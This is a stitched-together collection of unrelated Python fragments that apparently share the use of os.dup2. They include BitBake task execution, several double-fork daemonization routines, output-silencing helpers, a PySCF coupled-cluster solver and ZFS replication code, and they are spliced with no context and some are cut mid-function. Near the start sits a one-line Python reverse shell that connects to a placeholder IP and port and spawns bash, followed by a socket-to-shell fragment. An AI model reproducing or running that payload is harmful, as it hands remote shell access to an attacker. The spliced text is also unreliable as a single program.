logger.error("No such task: %s" % task)
return 1
logger.debug("Executing task %s", task)
localdata = _task_data(fn, task, d)
tempdir = localdata.getVar('T')
if not tempdir:
bb.fatal("T variable not set, unable to build")
# Change nice level if we're asked to
nice = localdata.getVar("BB_TASK_NICE_LEVEL")
if nice:
curnice = os.nice(0)
nice = int(nice) - curnice
newnice = os.nice(nice)
logger.debug("Renice to %s " % newnice)
ionice = localdata.getVar("BB_TASK_IONICE_LEVEL")
if ionice:
try:
cls, prio = ionice.split(".", 1)
bb.utils.ioprio_set(os.getpid(), int(cls), int(prio))
except:
bb.warn("Invalid ionice level %s" % ionice)
bb.utils.mkdirhier(tempdir)
# Determine the logfile to generate
logfmt = localdata.getVar('BB_LOGFMT') or 'log.{task}.{pid}'
logbase = logfmt.format(task=task, pid=os.getpid())
# Document the order of the tasks...
logorder = os.path.join(tempdir, 'log.task_order')
try:
with open(logorder, 'a') as logorderfile:
logorderfile.write('{0} ({1}): {2}\n'.format(task, os.getpid(), logbase))
except OSError:
logger.exception("Opening log file '%s'", logorder)
pass
# Setup the courtesy link to the logfn
loglink = os.path.join(tempdir, 'log.{0}'.format(task))
logfn = os.path.join(tempdir, logbase)
if loglink:
bb.utils.remove(loglink)
try:
os.symlink(logbase, loglink)
except OSError:
pass
prefuncs = localdata.getVarFlag(task, 'prefuncs', expand=True)
postfuncs = localdata.getVarFlag(task, 'postfuncs', expand=True)
class ErrorCheckHandler(logging.Handler):
def __init__(self):
self.triggered = False
logging.Handler.__init__(self, logging.ERROR)
def emit(self, record):
if getattr(record, 'forcelog', False):
self.triggered = False
else:
self.triggered = True
# Handle logfiles
try:
bb.utils.mkdirhier(os.path.dirname(logfn))
logfile = open(logfn, 'w')
except OSError:
logger.exception("Opening log file '%s'", logfn)
pass
# Dup the existing fds so we dont lose them
osi = [os.dup(sys.stdin.fileno()), sys.stdin.fileno()]
oso = [os.dup(sys.stdout.fileno()), sys.stdout.fileno()]
ose = [os.dup(sys.stderr.fileno()), sys.stderr.fileno()]
# Replace those fds with our own
with open('/dev/null', 'r') as si:
os.dup2(si.fileno(), osi[1])
os.dup2(logfile.fileno(), oso[1])
os.dup2(logfile.fileno(), ose[1])
# Ensure Python logging goes to the logfile
handler = logging.StreamHandler(logfile)
handler.setFormatter(logformatter)
# Always enable full debug output into task logfiles
handler.setLevel(logging.DEBUG - 2)
bblogger.addHandler(handler)
errchk = ErrorCheckHandler()
bblogger.addHandler(errchk)
localdata.setVar('BB_LOGFILE', logfn)
localdata.setVar('BB_RUNTASK', task)
localdata.setVar('BB_TASK_LOGGER', bblogger)
flags = localdata.getVarFlags(task)
try:
try:
event.fire(TaskStarted(task, fn, logfn, flags, localdata), localdata)
for func in (prefuncs or '').split():
exec_func(func, localdata)
exec_func(task, localdata)
for func in (postfuncs or '').split():
exec_func(func, localdata)
finally:
# Need to flush and close the logs before sending events where the
# UI may try to look at the logs.
sys.stdout.flush()
sys.stderr.flush()
bblogger.removeHandler(handler)
# Restore the backup fds
os.dup2(osi[0], osi[1])
os.dup2(oso[0], oso[1])
os.dup2(ose[0], ose[1])
# Close the backup fds
os.close(osi[0])
os.close(oso[0])
os.close(ose[0])
logfile.close()
if os.path.exists(logfn) and os.path.getsize(logfn) == 0:
logger.debug2("Zero size logfn %s, removing", logfn)
bb.utils.remove(logfn)
bb.utils.remove(loglink)
except (Exception, SystemExit) as exc:
handled = False
if isinstance(exc, bb.BBHandledException):
handled = True
if quieterr:
if not handled:
logger.warning(repr(exc))
event.fire(TaskFailedSilent(task, fn, logfn, localdata), localdata)
else:
errprinted = errchk.triggered
# If the output is already on stdout, we've printed the information in the
# logs once already so don't duplicate
if verboseStdoutLogging or handled:
errprinted = True
if not handled:
logger.error(repr(exc))
event.fire(TaskFailed(task, fn, logfn, localdata, errprinted), localdata)
return 1
event.fire(TaskSucceeded(task, fn, logfn, localdata), localdata)
if not localdata.getVarFlag(task, 'nostamp', False) and not localdata.getVarFlag(task, 'selfstamp', False):
make_stamp(task, localdata)
return 0
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{IP}',{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn('/bin/bash')
def linux():
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
def setUp(self):
self.fp = tempfile.TemporaryFile()
os.dup2(self.fp.fileno(), sys.stderr.fileno())
def __enter__(self):
# Assign the null pointers to stdout and stderr.
os.dup2(self.null_fds[0], 1)
os.dup2(self.null_fds[1], 2)
def get_selections_gui(iface_uri, gui_args, test_callback=None):
"""Run the GUI to choose and download a set of implementations.
The user may ask the GUI to submit a bug report about the program. In that case,
the GUI may ask us to test it. test_callback is called in that case with the implementations
to be tested; the callback will typically call L{zeroinstall.injector.run.test_selections} and return the result of that.
@param iface_uri: the required program, or None to show just the preferences dialog
@type iface_uri: str
@param gui_args: any additional arguments for the GUI itself
@type gui_args: [str]
@param test_callback: function to use to try running the program
@type test_callback: L{zeroinstall.injector.selections.Selections} -> str
@return: the selected implementations
@rtype: L{zeroinstall.injector.selections.Selections}
@since: 0.28
"""
from zeroinstall.injector import selections, qdom
from StringIO import StringIO
from os.path import join, dirname
gui_exe = join(dirname(__file__), '0launch-gui', '0launch-gui')
import socket
cli, gui = socket.socketpair()
try:
child = os.fork()
if child == 0:
# We are the child (GUI)
try:
try:
cli.close()
# We used to use pipes to support Python2.3...
os.dup2(gui.fileno(), 1)
os.dup2(gui.fileno(), 0)
if iface_uri is not None:
gui_args = gui_args + ['--', iface_uri]
os.execvp(sys.executable,
[sys.executable, gui_exe] + gui_args)
except:
import traceback
traceback.print_exc(file=sys.stderr)
finally:
sys.stderr.flush()
os._exit(1)
# We are the parent (CLI)
gui.close()
gui = None
while True:
logging.info("Waiting for selections from GUI...")
reply = support.read_bytes(cli.fileno(),
len('Length:') + 9,
null_ok=True)
if reply:
if not reply.startswith('Length:'):
raise Exception("Expected Length:, but got %s" %
repr(reply))
xml = support.read_bytes(cli.fileno(),
int(reply.split(':', 1)[1], 16))
dom = qdom.parse(StringIO(xml))
sels = selections.Selections(dom)
if dom.getAttribute('run-test'):
logging.info("Testing program, as requested by GUI...")
if test_callback is None:
output = "Can't test: no test_callback was passed to get_selections_gui()\n"
else:
output = test_callback(sels)
logging.info("Sending results to GUI...")
output = ('Length:%8x\n' % len(output)) + output
logging.debug("Sending: %s", repr(output))
while output:
sent = cli.send(output)
output = output[sent:]
continue
else:
sels = None
pid, status = os.waitpid(child, 0)
assert pid == child
if status == 1 << 8:
logging.info("User cancelled the GUI; aborting")
return None # Aborted
if status != 0:
raise Exception("Error from GUI: code = %d" % status)
break
finally:
for sock in [cli, gui]:
if sock is not None: sock.close()
return sels
pid = os.fork()
if pid > 0:
# exit from second parent
sys.exit(0)
except OSError, e:
sys.stderr.write("fork #2 failed: %d (%s)\n" %
(e.errno, e.strerror))
sys.exit(1)
# redirect standard file descriptors
sys.stdout.flush()
sys.stderr.flush()
si = file(self.stdin, 'r')
so = file(self.stdout, 'a+')
se = file(self.stderr, 'a+', 0)
os.dup2(si.fileno(), sys.stdin.fileno())
os.dup2(so.fileno(), sys.stdout.fileno())
os.dup2(se.fileno(), sys.stderr.fileno())
# write pidfile
atexit.register(self.delpid)
pid = str(os.getpid())
file(self.pidfile, 'w+').write("%s\n" % pid)
def delpid(self):
os.remove(self.pidfile)
def start(self):
"""
Start the daemon
"""
def daemonize(enable_stdio_inheritance=False):
"""\
Standard daemonization of a process.
http://www.svbug.com/documentation/comp.unix.programmer-FAQ/faq_2.html#SEC16
"""
if 'GUNICORN_FD' not in os.environ:
if os.fork():
os._exit(0)
os.setsid()
if os.fork():
os._exit(0)
os.umask(0o22)
# In both the following any file descriptors above stdin
# stdout and stderr are left untouched. The inheritence
# option simply allows one to have output go to a file
# specified by way of shell redirection when not wanting
# to use --error-log option.
if not enable_stdio_inheritance:
# Remap all of stdin, stdout and stderr on to
# /dev/null. The expectation is that users have
# specified the --error-log option.
closerange(0, 3)
fd_null = os.open(REDIRECT_TO, os.O_RDWR)
if fd_null != 0:
os.dup2(fd_null, 0)
os.dup2(fd_null, 1)
os.dup2(fd_null, 2)
else:
fd_null = os.open(REDIRECT_TO, os.O_RDWR)
# Always redirect stdin to /dev/null as we would
# never expect to need to read interactive input.
if fd_null != 0:
os.close(0)
os.dup2(fd_null, 0)
# If stdout and stderr are still connected to
# their original file descriptors we check to see
# if they are associated with terminal devices.
# When they are we map them to /dev/null so that
# are still detached from any controlling terminal
# properly. If not we preserve them as they are.
#
# If stdin and stdout were not hooked up to the
# original file descriptors, then all bets are
# off and all we can really do is leave them as
# they were.
#
# This will allow 'gunicorn ... > output.log 2>&1'
# to work with stdout/stderr going to the file
# as expected.
#
# Note that if using --error-log option, the log
# file specified through shell redirection will
# only be used up until the log file specified
# by the option takes over. As it replaces stdout
# and stderr at the file descriptor level, then
# anything using stdout or stderr, including having
# cached a reference to them, will still work.
def redirect(stream, fd_expect):
try:
fd = stream.fileno()
if fd == fd_expect and stream.isatty():
os.close(fd)
os.dup2(fd_null, fd)
except AttributeError:
pass
redirect(sys.stdout, 1)
redirect(sys.stderr, 2)
sys.stderr.write("PID file not found but subsys locked\n")
sys.exit(1)
elif os.path.exists(
"/var/lock/subsys/beomon_compute_agent") or os.path.exists(
"/var/run/beomon_compute_agent.pid"):
sys.stderr.write(
"Existing PID or lock file found (/var/lock/subsys/beomon_compute_agent or "
+
"/var/run/beomon_compute_agent.pid), already running? Exiting.\n")
sys.exit(1)
# Set STDOUT and STDIN to /dev/null
dev_null = open(os.devnull, "w")
os.dup2(dev_null.fileno(), 0) # STDIN
os.dup2(dev_null.fileno(), 1) # STDOUT
# Set STDERR to a log file
log_file = open("/opt/sam/beomon/log/" + str(node) + ".log", "a")
os.dup2(log_file.fileno(), 2) # STDERR
# Fork time!
os.chdir("/")
pid = os.fork()
if not pid == 0:
sys.exit(0)
os.setsid()
def daemonize(self, chdir='/', umask=0):
'''Daemonize a process using a double fork
This method will fork the current process to create a daemon process.
It will perform a double fork(2), chdir(2) to the given folder (or not
chdir at all if the C{chdir} argument is C{None}), and set the new
process umask(2) to the value of the C{umask} argument, or not reset
it if this argument is -1.
While forking, a setsid(2) call will be done to become session leader
and detach from the controlling TTY.
In the child process, all existing file descriptors will be closed,
including stdin, stdout and stderr, which will be re-opened to
/dev/null.
The method returns a tuple<bool, number>. If the first item is True,
the current process is the daemonized process. If it is False,
the current process is the process which called the C{daemonize}
method, which can most likely be closed now. The second item is the
PID of the current process.
@attention: Make sure you know really well what fork(2) does before using this method
@param chdir: Path to chdir(2) to after forking. Set to None to disable chdir'ing
@type chdir: string or None
@param umask: Umask to set after forking. Set to -1 not to set umask
@type umask: number
@returns: Daemon status and PID
@rtype: tuple<bool, number>
@raise RuntimeError: System does not support fork(2)
'''
# We display a warning here when threads are discovered in the current
# process, because forking a threaded application is a pretty bad idea.
# This is not an in-depth check, since it only checks whether any
# threads were created using threading.Thread. On HPUX and maybe some
# other UNIXes we could use pthread_is_multithreaded_np, but this is
# not available on Linux at least.
if not hasattr(os, 'fork'):
raise j.exceptions.RuntimeError(
'os.fork not found, daemon mode not supported on your system')
import threading
if threading.activeCount() > 1:
j.errorhandler.raiseWarning(
'You application got running threads, this can cause issues when using fork')
pid = os.fork()
if pid == 0:
# First child
# Become session leader...
os.setsid()
# Double fork
pid = os.fork()
if pid == 0:
# Second child
if umask >= 0:
os.umask(umask)
if chdir:
os.chdir(chdir)
else:
# First child is useless now
os._exit(0)
else:
return False, os.getpid()
# Close all FDs
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
sys.stdin.close()
sys.stdout.close()
sys.stderr.close()
for fd in range(maxfd):
try:
os.close(fd)
except OSError:
pass
# Open fd0 to /dev/null
redirect = getattr(os, 'devnull', '/dev/null')
os.open(redirect, os.O_RDWR)
# dup to stdout and stderr
os.dup2(0, 1)
os.dup2(0, 2)
return True, os.getpid()
def daemonize(self):
"""
Fork off as a daemon
"""
# pylint: disable=protected-access
# An object is accessed for a non-existent member.
# Access to a protected member of a client class
# Make a non-session-leader child process
try:
pid = os.fork() # @UndefinedVariable - only available in UNIX
if pid != 0:
os._exit(0)
except OSError as error:
sys.stderr.write(
'fork #1 failed: {error_num}: {error_message}\n'.format(
error_num=error.errno, error_message=error.strerror))
sys.exit(1)
os.setsid() # @UndefinedVariable - only available in UNIX
# https://github.com/SickRage/sickrage-issues/issues/2969
# http://www.microhowto.info/howto/cause_a_process_to_become_a_daemon_in_c.html#idp23920
# https://www.safaribooksonline.com/library/view/python-cookbook/0596001673/ch06s08.html
# Previous code simply set the umask to whatever it was because it was ANDing instead of OR-ing
# Daemons traditionally run with umask 0 anyways and this should not have repercussions
os.umask(0)
# Make the child a session-leader by detaching from the terminal
try:
pid = os.fork() # @UndefinedVariable - only available in UNIX
if pid != 0:
os._exit(0)
except OSError as error:
sys.stderr.write(
'fork #2 failed: Error {error_num}: {error_message}\n'.format(
error_num=error.errno, error_message=error.strerror))
sys.exit(1)
# Write pid
if self.create_pid:
pid = os.getpid()
logger.log('Writing PID: {pid} to {filename}'.format(
pid=pid, filename=self.pid_file))
try:
with io.open(self.pid_file, 'w') as f_pid:
f_pid.write('%s\n' % pid)
except EnvironmentError as error:
logger.log_error_and_exit(
'Unable to write PID file: {filename} Error {error_num}: {error_message}'
.format(filename=self.pid_file,
error_num=error.errno,
error_message=error.strerror))
# Redirect all output
sys.stdout.flush()
sys.stderr.flush()
devnull = getattr(os, 'devnull', '/dev/null')
stdin = file(devnull)
stdout = file(devnull, 'a+')
stderr = file(devnull, 'a+')
os.dup2(stdin.fileno(),
getattr(sys.stdin, 'device', sys.stdin).fileno())
os.dup2(stdout.fileno(),
getattr(sys.stdout, 'device', sys.stdout).fileno())
os.dup2(stderr.fileno(),
getattr(sys.stderr, 'device', sys.stderr).fileno())
raise e
logging.basicConfig(
level=logging.WARNING,
format="%(created)f %(levelname)s %(name)s: %(message)s",
stream=SafeLogWrapper(sys.stderr))
if 'SUGAR_LOGGER_LEVEL' in os.environ:
set_level(os.environ['SUGAR_LOGGER_LEVEL'])
if log_filename:
try:
log_path = os.path.join(logs_path, log_filename + '.log')
log_fd = os.open(log_path, os.O_WRONLY | os.O_CREAT)
os.dup2(log_fd, sys.stdout.fileno())
os.dup2(log_fd, sys.stderr.fileno())
os.close(log_fd)
sys.stdout = SafeLogWrapper(sys.stdout)
sys.stderr = SafeLogWrapper(sys.stderr)
except OSError, e:
# if we're out of space, just continue
if e.errno != errno.ENOSPC:
raise e
sys.excepthook = _except_hook
class TraceRepr(repr_.Repr):
p = argparse.ArgumentParser()
p.add_argument('file')
args = p.parse_args()
def print_one_line(line):
sp = line.split(' ')
commit = sp[0]
comment = ' '.join(sp[1:])
print(commit, end=':')
print(comment, end='')
print(' ' * 256, end=':')
proc = subprocess.run("git show {}:{}".format(commit, args.file),
shell=True,
stdout=PIPE,
text=True)
print(proc.stdout.replace('\n', '\\n'))
try:
line = sys.stdin.readline()
while line:
line = line.strip("\n")
print_one_line(line)
line = sys.stdin.readline()
except BrokenPipeError:
devnull = os.open(os.devnull, os.O_WRONLY)
os.dup2(devnull, sys.stdout.fileno())
sys.exit(1)
def __enter__(self):
sys.stdout.flush()
self.oldstdout_fno = os.dup(sys.stdout.fileno())
os.dup2(self._new_stdout.fileno(), 1)
def solve(CONST,
OEI,
FOCK,
TEI,
Norb,
Nel,
Nimp,
DMguessRHF,
energytype='LAMBDA',
chempot_imp=0.0,
printoutput=True):
assert ((energytype == 'LAMBDA') or (energytype == 'LAMBDA_AMP')
or (energytype == 'LAMBDA_ZERO') or (energytype == 'CASCI'))
# Killing output if necessary
if (printoutput == False):
sys.stdout.flush()
old_stdout = sys.stdout.fileno()
new_stdout = os.dup(old_stdout)
devnull = os.open('/dev/null', os.O_WRONLY)
os.dup2(devnull, old_stdout)
os.close(devnull)
# Augment the FOCK operator with the chemical potential
FOCKcopy = FOCK.copy()
if (chempot_imp != 0.0):
for orb in range(Nimp):
FOCKcopy[orb, orb] -= chempot_imp
# Get the RHF solution
mol = gto.Mole()
mol.build(verbose=0)
mol.atom.append(('C', (0, 0, 0)))
mol.nelectron = Nel
mol.incore_anyway = True
mf = scf.RHF(mol)
mf.get_hcore = lambda *args: FOCKcopy
mf.get_ovlp = lambda *args: np.eye(Norb)
mf._eri = ao2mo.restore(8, TEI, Norb)
mf.scf(DMguessRHF)
DMloc = np.dot(np.dot(mf.mo_coeff, np.diag(mf.mo_occ)), mf.mo_coeff.T)
if (mf.converged == False):
mf = mf.newton()
DMloc = np.dot(np.dot(mf.mo_coeff, np.diag(mf.mo_occ)), mf.mo_coeff.T)
# Check the RHF solution
assert (Nel % 2 == 0)
numPairs = Nel / 2
FOCKloc = FOCKcopy + np.einsum(
'ijkl,ij->kl', TEI, DMloc) - 0.5 * np.einsum('ijkl,ik->jl', TEI, DMloc)
eigvals, eigvecs = np.linalg.eigh(FOCKloc)
idx = eigvals.argsort()
eigvals = eigvals[idx]
eigvecs = eigvecs[:, idx]
# print "psi4cc::solve : RHF h**o-lumo gap =", eigvals[numPairs] - eigvals[numPairs-1]
DMloc2 = 2 * np.dot(eigvecs[:, :numPairs], eigvecs[:, :numPairs].T)
# print "Two-norm difference of 1-RDM(RHF) and 1-RDM(FOCK(RHF)) =", np.linalg.norm(DMloc - DMloc2)
# Get the CC solution from pyscf
ccsolver = ccsd.CCSD(mf)
ccsolver.verbose = 1
ECORR, t1, t2 = ccsolver.ccsd()
ERHF = mf.e_tot
ECCSD = ERHF + ECORR
# Compute the impurity energy
if (energytype == 'CASCI'):
# The 2-RDM is not required
# Active space energy is computed with the Fock operator of the core (not rescaled)
# print "ECCSD =", ECCSD
ccsolver.solve_lambda()
pyscfRDM1 = ccsolver.make_rdm1() # MO space
pyscfRDM1 = 0.5 * (pyscfRDM1 + pyscfRDM1.T) # Symmetrize
pyscfRDM1 = np.dot(mf.mo_coeff,
np.dot(pyscfRDM1,
mf.mo_coeff.T)) # From MO to localized space
ImpurityEnergy = ECCSD
if (chempot_imp != 0.0):
# [FOCK - FOCKcopy]_{ij} = chempot_imp * delta(i,j) * delta(i \in imp)
ImpurityEnergy += np.einsum('ij,ij->', FOCK - FOCKcopy, pyscfRDM1)
else:
# Compute the DMET impurity energy based on the lambda equations
if (energytype == 'LAMBDA'):
ccsolver.solve_lambda()
pyscfRDM1 = ccsolver.make_rdm1() # MO space
pyscfRDM2 = ccsolver.make_rdm2() # MO space
if (energytype == 'LAMBDA_AMP'):
# Overwrite lambda tensors with t-amplitudes
pyscfRDM1 = ccsolver.make_rdm1(t1, t2, t1, t2) # MO space
pyscfRDM2 = ccsolver.make_rdm2(t1, t2, t1, t2) # MO space
if (energytype == 'LAMBDA_ZERO'):
# Overwrite lambda tensors with 0.0
fake_l1 = np.zeros(t1.shape, dtype=float)
fake_l2 = np.zeros(t2.shape, dtype=float)
pyscfRDM1 = ccsolver.make_rdm1(t1, t2, fake_l1,
fake_l2) # MO space
pyscfRDM2 = ccsolver.make_rdm2(t1, t2, fake_l1,
fake_l2) # MO space
pyscfRDM1 = 0.5 * (pyscfRDM1 + pyscfRDM1.T) # Symmetrize
# Print a few to things to double check
'''
print "Do we understand how the 1-RDM is stored?", np.linalg.norm( np.einsum('ii->', pyscfRDM1) - Nel )
print "Do we understand how the 2-RDM is stored?", np.linalg.norm( np.einsum('ijkk->ij', pyscfRDM2) / (Nel - 1.0) - pyscfRDM1 )
'''
# Change the pyscfRDM1/2 from MO space to localized space
pyscfRDM1 = np.dot(mf.mo_coeff, np.dot(pyscfRDM1, mf.mo_coeff.T))
pyscfRDM2 = np.einsum('ai,ijkl->ajkl', mf.mo_coeff, pyscfRDM2)
pyscfRDM2 = np.einsum('bj,ajkl->abkl', mf.mo_coeff, pyscfRDM2)
pyscfRDM2 = np.einsum('ck,abkl->abcl', mf.mo_coeff, pyscfRDM2)
pyscfRDM2 = np.einsum('dl,abcl->abcd', mf.mo_coeff, pyscfRDM2)
ECCSDbis = CONST + np.einsum(
'ij,ij->', FOCKcopy,
pyscfRDM1) + 0.5 * np.einsum('ijkl,ijkl->', TEI, pyscfRDM2)
# print "ECCSD1 =", ECCSD
# print "ECCSD2 =", ECCSDbis
# To calculate the impurity energy, rescale the JK matrix with a factor 0.5 to avoid double counting: 0.5 * ( OEI + FOCK ) = OEI + 0.5 * JK
ImpurityEnergy = CONST \
+ 0.25 * np.einsum('ij,ij->', pyscfRDM1[:Nimp,:], FOCK[:Nimp,:] + OEI[:Nimp,:]) \
+ 0.25 * np.einsum('ij,ij->', pyscfRDM1[:,:Nimp], FOCK[:,:Nimp] + OEI[:,:Nimp]) \
+ 0.125 * np.einsum('ijkl,ijkl->', pyscfRDM2[:Nimp,:,:,:], TEI[:Nimp,:,:,:]) \
+ 0.125 * np.einsum('ijkl,ijkl->', pyscfRDM2[:,:Nimp,:,:], TEI[:,:Nimp,:,:]) \
+ 0.125 * np.einsum('ijkl,ijkl->', pyscfRDM2[:,:,:Nimp,:], TEI[:,:,:Nimp,:]) \
+ 0.125 * np.einsum('ijkl,ijkl->', pyscfRDM2[:,:,:,:Nimp], TEI[:,:,:,:Nimp])
# Reviving output if necessary
if (printoutput == False):
sys.stdout.flush()
os.dup2(new_stdout, old_stdout)
os.close(new_stdout)
return (ImpurityEnergy, pyscfRDM1)
def __enter__(self):
os.dup2(self.null_fds[0], 1)
os.dup2(self.null_fds[1], 2)
def __exit__(self, exc_type, exc_value, traceback):
self._new_stdout.flush()
os.dup2(self.oldstdout_fno, 1)
os.close(self.oldstdout_fno)
import tornado.web
import tornado.ioloop
import logging
import webgram
import os
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
server = webgram.BareServer()
web = tornado.web.Application([
(r"/m3u/", server.get_m3u_generator()),
(r"/watch/", server.get_stream_watch()),
(r"/", server.get_homepage()),
])
web.listen(server.config.PORT, server.config.HOST)
os.dup2(os.open(os.devnull, os.O_RDWR), 2)
tornado.ioloop.IOLoop.current().start()
def __exit__(self, *_):
os.dup2(self.save_fds[0], 1)
os.dup2(self.save_fds[1], 2)
for fd in self.null_fds + self.save_fds:
os.close(fd)
def __exit__(self, type, value, traceback):
sys.stdout.flush()
self._contents = open(self.ftmp, 'r').read()
os.dup2(self.bak_stdout_fd, self.old_stdout_fileno)
os.close(self.fd)
os.remove(self.ftmp)
def start_server(run_browser, interface=None):
pid_path = os.path.join(settings.STATE_ROOT, "server.pid")
if os.path.exists(pid_path):
server_pid = int(open(pid_path).read())
pid_found = False
try:
os.kill(server_pid, 0)
pid_found = True
except OSError:
pid_found = False
if pid_found:
sys.stderr.write("The server is already running.\n")
sys.exit(1)
else:
os.unlink(pid_path)
if settings.USERDIR_ROOT:
setup_userdir()
childpid = os.fork()
if childpid == 0:
os.setsid()
log_fn = os.path.join(settings.STATE_ROOT, "server.log")
try:
log_fd = os.open(log_fn, os.O_WRONLY | os.O_APPEND | os.O_CREAT)
except OSError:
log_fd = -1
if log_fd < 0:
sys.stderr.write("Could not open log file; logging to stdout.\n")
else:
os.dup2(log_fd, 1)
os.dup2(log_fd, 2)
os.close(0)
manager_args = ["fossbarcode", "runserver", "--noreload"]
if interface:
manager_args.append(interface)
execute_manager(settings, manager_args)
else:
time.sleep(1)
pid_file = open(pid_path, "w")
pid_file.write(str(childpid))
pid_file.close()
if run_browser:
if interface:
if interface.find(":") != -1:
(ipaddr, port) = interface.split(":")
if ipaddr == "0.0.0.0":
interface = "127.0.0.1:" + port
app_url = "http://%s/barcode" % interface
else:
app_url = "http://127.0.0.1:8000/barcode"
sys.stdout.write("Waiting for the server to start...\n")
time.sleep(10)
sys.stdout.write("Starting a web browser.\n")
os.execlp("xdg-open", "xdg-open", app_url)
else:
sys.exit(0)
os.chdir("/")
os.setsid()
signal.signal(signal.SIGHUP, signal.SIG_IGN)
os.umask(0)
pid = os.fork()
if pid > 0:
os._exit(0)
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if (maxfd == resource.RLIM_INFINITY):
maxfd = MAXFD
# Iterate through and close all file descriptors.
for fd in range(0, maxfd):
try:
os.close(fd)
except OSError: # ERROR, fd wasn't open to begin with (ignored)
pass
# Redirect the standard I/O file descriptors to the specified file. Since
os.open(REDIRECT_TO, os.O_RDWR) # standard input (0)
# Duplicate standard input to standard output and standard error.
os.dup2(0, 1) # standard output (1)
os.dup2(0, 2) # standard error (2)
retVal = subprocess.call(sys.argv[1].split(), shell=False, bufsize=-1)
sys.exit(retVal)
def start(self):
"""
Spawn the method in a new process
"""
if self.method is None:
msg = "Cannot start process, method not set."
raise j.exceptions.Input(message=msg, level=1, source="", tags="", msgpub="")
self.started_at = datetime.datetime.now()
rpipe, wpipe = os.pipe()
self._stdout['read'], self._stdout['write'] = os.pipe()
self._stderr['read'], self._stderr['write'] = os.pipe()
pid = os.fork()
if pid == -1:
raise RuntimeError("Failed to fork()")
res = None
if pid == 0:
# Child -- do the copy, print log to pipe and exit
try:
os.close(rpipe)
os.dup2(self._stdout['write'], sys.stdout.fileno())
os.dup2(self._stderr['write'], sys.stderr.fileno())
self.outpipe = os.fdopen(wpipe, 'w')
# print("ARGS:%s" % args)
# j.core.processmanager.cache_clears()
self._state = "running"
res = self.method(**self.args)
except Exception as e:
eco = j.errorhandler.processPythonExceptionObject(e)
self._setException(eco.toJson())
self._clean()
os._exit(1)
finally:
self._setSuccess(res)
self._clean()
os._exit(0)
# should never arrive here
self._setPanic()
os._exit(1)
else: # parent
os.close(wpipe)
os.close(self._stdout['write'])
os.close(self._stderr['write'])
self.pid = pid
# setting pipes in non-block, to catch "running" later
self.outpipe = os.fdopen(rpipe)
fcntl.fcntl(self.outpipe, fcntl.F_SETFL, os.O_NONBLOCK)
self._stdout['fd'] = os.fdopen(self._stdout['read'])
fcntl.fcntl(self._stdout['fd'], fcntl.F_SETFL, os.O_NONBLOCK)
self._stderr['fd'] = os.fdopen(self._stderr['read'])
fcntl.fcntl(self._stderr['fd'], fcntl.F_SETFL, os.O_NONBLOCK)
def sendzfs(fromsnap, tosnap, dataset, localfs, remotefs, followdelete,
throttle, compression, replication, reached_last):
global results
global templog
progressfile = '/tmp/.repl_progress_%d' % replication.id
cmd = ['/sbin/zfs', 'send', '-V']
# -p switch will send properties for whole dataset, including snapshots
# which will result in stale snapshots being delete as well
if followdelete:
cmd.append('-p')
if fromsnap is None:
cmd.append("%s@%s" % (dataset, tosnap))
else:
cmd.extend(
['-i',
"%s@%s" % (dataset, fromsnap),
"%s@%s" % (dataset, tosnap)])
# subprocess.Popen does not handle large stream of data between
# processes very well, do it on our own
readfd, writefd = os.pipe()
zproc_pid = os.fork()
if zproc_pid == 0:
os.close(readfd)
os.dup2(writefd, 1)
os.close(writefd)
os.execv('/sbin/zfs', cmd)
# NOTREACHED
else:
with open(progressfile, 'w') as f2:
f2.write(str(zproc_pid))
os.close(writefd)
compress, decompress = compress_pipecmds(compression)
replcmd = '%s%s/bin/dd obs=1m 2> /dev/null | /bin/dd obs=1m 2> /dev/null | %s "%s/sbin/zfs receive -F -d \'%s\' && echo Succeeded"' % (
compress, throttle, sshcmd, decompress, remotefs)
log.debug('Sending zfs snapshot: %s | %s', ' '.join(cmd), replcmd)
with open(templog, 'w+') as f:
readobj = os.fdopen(readfd, 'r', 0)
proc = subprocess.Popen(
replcmd,
shell=True,
stdin=readobj,
stdout=f,
stderr=subprocess.STDOUT,
)
proc.wait()
os.waitpid(zproc_pid, os.WNOHANG)
readobj.close()
os.remove(progressfile)
f.seek(0)
msg = f.read().strip('\n').strip('\r')
os.remove(templog)
msg = msg.replace('WARNING: enabled NONE cipher', '')
msg = msg.strip('\r').strip('\n')
log.debug("Replication result: %s" % (msg))
results[replication.id] = msg
# When replicating to a target "container" dataset that doesn't exist on the sending
# side the target dataset will have to be readonly, however that will preclude
# creating mountpoints for the datasets that are sent.
# In that case you'll get back a failed to create mountpoint message, which
# we'll go ahead and consider a success.
if reached_last and ("Succeeded" in msg
or "failed to create mountpoint" in msg):
replication.repl_lastsnapshot = tosnap
# Re-query replication to update field because replication settings
# might have been updated while this script was running
Replication.objects.filter(id=replication.id).update(
repl_lastsnapshot=tosnap)
return ("Succeeded" in msg or "failed to create mountpoint" in msg)
def redirect(fname, fd, open_mode):
new_fd = os.open(fname, open_mode)
os.dup2(new_fd, fd)
os.close(new_fd)
